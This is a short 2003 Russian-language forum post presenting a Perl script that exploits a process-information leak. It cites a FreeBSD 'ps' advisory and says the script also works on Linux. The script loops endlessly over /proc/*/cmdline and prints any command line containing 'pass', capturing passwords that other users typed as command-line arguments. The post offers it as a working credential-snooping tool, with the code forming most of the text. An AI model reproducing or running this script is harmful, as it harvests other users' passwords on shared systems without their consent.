|
на откровение не тянет, но работает
|
Posted by: :( on January 10, 2003 at 15:14:49
Posters Details: [194.44.184.178], X-Forwarded 4: [unknown]
[Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021130]
По сообщениям типа:
ps information leak in FreeBSD (securitybugware.org)
Работает в linux тоже.
Отлавливает пароли заданые в командной строке.
#!/usr/bin/perl
#
while (1) {
opendir(DIR,"/proc");
@procs=readdir(DIR);
closedir(DIR);
foreach ${proc} (@procs){
if(${proc}=~/[0-9]/o){
unshift(@pids, ${proc});
}
}
foreach $pid (@pids){
open(FD, "/proc/$pid/cmdline") || next;
while($str = <FD>){
chomp $str;
if ($str =~ /pass/i) {
$str =~ s/\x0/ /gs;
print $str, "\n";
}
}
close(FD);
}
}
exit(0);
Follow Ups:
|
|